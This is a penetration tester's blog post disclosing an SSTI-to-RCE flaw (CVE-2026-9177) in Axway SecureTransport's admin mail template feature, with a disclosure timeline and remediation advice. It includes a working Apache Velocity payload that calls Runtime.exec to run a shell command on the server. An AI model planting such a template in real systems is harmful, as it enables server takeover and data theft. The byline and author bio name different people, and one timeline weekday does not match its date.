Written by Jordan Hardy

CVE-2026-9177: How Server-Side Template Injection (SSTI) Led to Remote Code Execution in One of the Most Popular Managed File Transfer (MFT) Tools

Introduction

In this blog post, I’ll share the story of how I discovered CVE-2026-9177, a critical Server-Side Template Injection (SSTI) vulnerability in one of the most popular Managed File Transfer (MFT) gateways, Axway SecureTransport.

Axway SecureTransport is a Managed File Transfer Gateway that enables file sharing across business networks. The platform is used across critical sectors, including aviation, healthcare, and finance.

The vulnerability I found enabled a complete takeover of the underlying hosting infrastructure through remote code execution. It’s a good reminder that even widely used, mature tools can hide serious flaws, and that security requires continuous effort. Regular security research, like penetration testing, is what uncovers these hidden issues. As ethical hackers, we have an important role to play here: finding these flaws and reporting them to vendors so they can be patched before attackers find them first.

How It Started

Through Toreon, I was assigned to run a penetration test on the Axway SecureTransport instance of one of our customers who uses this product to transfer highly sensitive data.

Throughout the first week of testing, I identified a few minor security configuration issues, but nothing severe.

Along the way, I spent a lot of time just understanding the tool and its hidden functionalities. That’s when I noticed a file-upload feature that lets an admin user upload templates used to send emails. Nothing jumped out immediately, but I kept it in the back of my mind while testing other areas.

After the first few days of routine checks, I went back to that template upload feature and started uploading malicious files and unexpected file types. Nothing critical came of it at first, until I discovered that expressions inside the uploaded template were actually being evaluated. That’s where the story really starts.

The Functionality

SecureTransport includes a Mail Template feature that allows an admin to choose a mail template file:

Once the template is uploaded, you need to configure a notification so the system actually uses your template when sending email alerts. So I set all notifications to use the template I was testing on.

The SSTI Vulnerability

Server-Side Template Injection (SSTI) vulnerabilities occur when user input is unsafely embedded into a server-side template, allowing an attacker to inject template directives. With the right malicious directives, an attacker may be able to execute arbitrary code and take full control of the web server.

I did some research and found that SecureTransport uses the Apache Velocity template engine. (When you’re hunting for SSTI vulnerabilities, identifying the template engine early is key: it’s what lets you craft the correct expressions.)

Velocity evaluates Java expressions. If the template engine isn’t properly sandboxed, those expressions can reach dangerous classes and execute code on the server.

My first step was simply confirming whether template expressions were actually being evaluated at all. To test that, I updated an existing .xhtml template with the following expressions:

				
					#set($x = 7)
#set($s = "abc")
<td>$x</td>
<td>$x.class</td>
<td>$s.getClass().getName()</td>
<td>$s.toUpperCase()</td>

To see the results, I pointed all email events to the template I was testing, then waited for an email to confirm whether the Velocity engine was actually evaluating my injected expressions.

A few minutes later, I received an email showing the results of my template injection: confirmation that the expressions were being evaluated, and that I could inspect the classes being used.

The next step was verifying whether I could go further and execute commands via java.lang.Runtime. I crafted an .xhtml template containing Java code that invoked OS commands through the exec() method of the java.lang.Runtime class, starting simple, with ls, just to prove remote code execution was possible.

				
					<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>SSTI Test</title>
</head>
<body>
<h1>Remote Code Execution Output</h1>
#set($s = "test")
#set($String = $s.class.forName("java.lang.String"))
#set($Character = $s.class.forName("java.lang.Character"))
#set($proc = $s.class.forName("java.lang.Runtime").getRuntime().exec("ls"))
#set($void = $proc.waitFor())
#set($in = $proc.getInputStream())
#set($output = "")
#foreach($i in [1..200])
#set($b = $in.read())
#if($b != -1)
#set($output = "${output}${String.valueOf($Character.toChars($b))}")
#end
#end
<strong>Result:</strong>
<code>$output</code>
</body>
</html>

When the route triggered, I received another email, this time with the output of my injected ls command, listing the server’s available directories.

Using this technique, an attacker with admin rights could get full control of the underlying server: execute commands, exfiltrate all data from the server, and potentially pivot laterally into the wider network.

Toreon is a CVE Numbering Authority (CNA), one of the relatively few organizations worldwide with that status. This let us reserve CVE-2026-9177 directly and coordinate disclosure directly with Axway, without going through a third party. This made the creation of CVE-2026-9177 possible, and reflects Toreon’s broader push to make security research count, not just finding vulnerabilities, but seeing them through to a fix.

Collaboration With Axway to Patch This Vulnerability

We reported this vulnerability to Axway immediately, and they responded quickly, releasing a patch just six working days after our report. It was great to see Axway take security seriously and communicate promptly with their customers throughout. Here’s the full timeline:

Timeline

Friday, 22 May 2026: We reported the vulnerability to the Axway support team and reserved CVE-2026-9177.
Sunday, 24 May 2026: Axway acknowledged the vulnerability.
Tuesday, 2 June 2026: Axway released a patch and sent a security notice to all SecureTransport customers.
Wednesday, 29 June 2026: We published CVE-2026-9177.

Conclusion

Server-Side Template Injection is often overlooked because it hides in places that don’t look like an attack surface at first glance: anywhere user-controlled input ends up inside a server-side template. In this case, it was a template engine evaluating user-supplied expressions with no sandboxing, tucked behind an admin-only upload form. Elsewhere it might be a comment field, a document generator, or a customizable notification. The common thread is a template engine trusting input it shouldn’t.

Secure coding best practices matter here: sandboxing template engines, restricting the classes and methods templates can reach, and never assuming a feature is safe just because it’s admin-only or “internal.” But theory alone isn’t enough. Regular testing is what actually uncovers vulnerabilities like this one, hiding in functionality that looks routine until someone goes looking.

This is exactly why widely-used software carries outsized risk: a single flaw like this one doesn’t just affect one company, it potentially exposes every organization running that same software, across every sector that relies on it.

Want to learn more?

Book a discovery call for Toreon’s threat modeling training and turn the ENISA playbook into a working product-security practice.

About the Author:

Jihane is an ethical hacker at Toreon, where she helps companies get stronger and more secure by simulating the very attacks that could take them down. With over 12 years in the IT world, she’s seen firsthand how many organizations struggle to keep up with security, and that’s exactly what drives her: finding the flaws before real attackers do, so companies get the chance to fix them first.

Beyond her work at Toreon, Jihane trains and mentors the next generation of ethical hackers, sharing what she’s learned through hackjiji.org.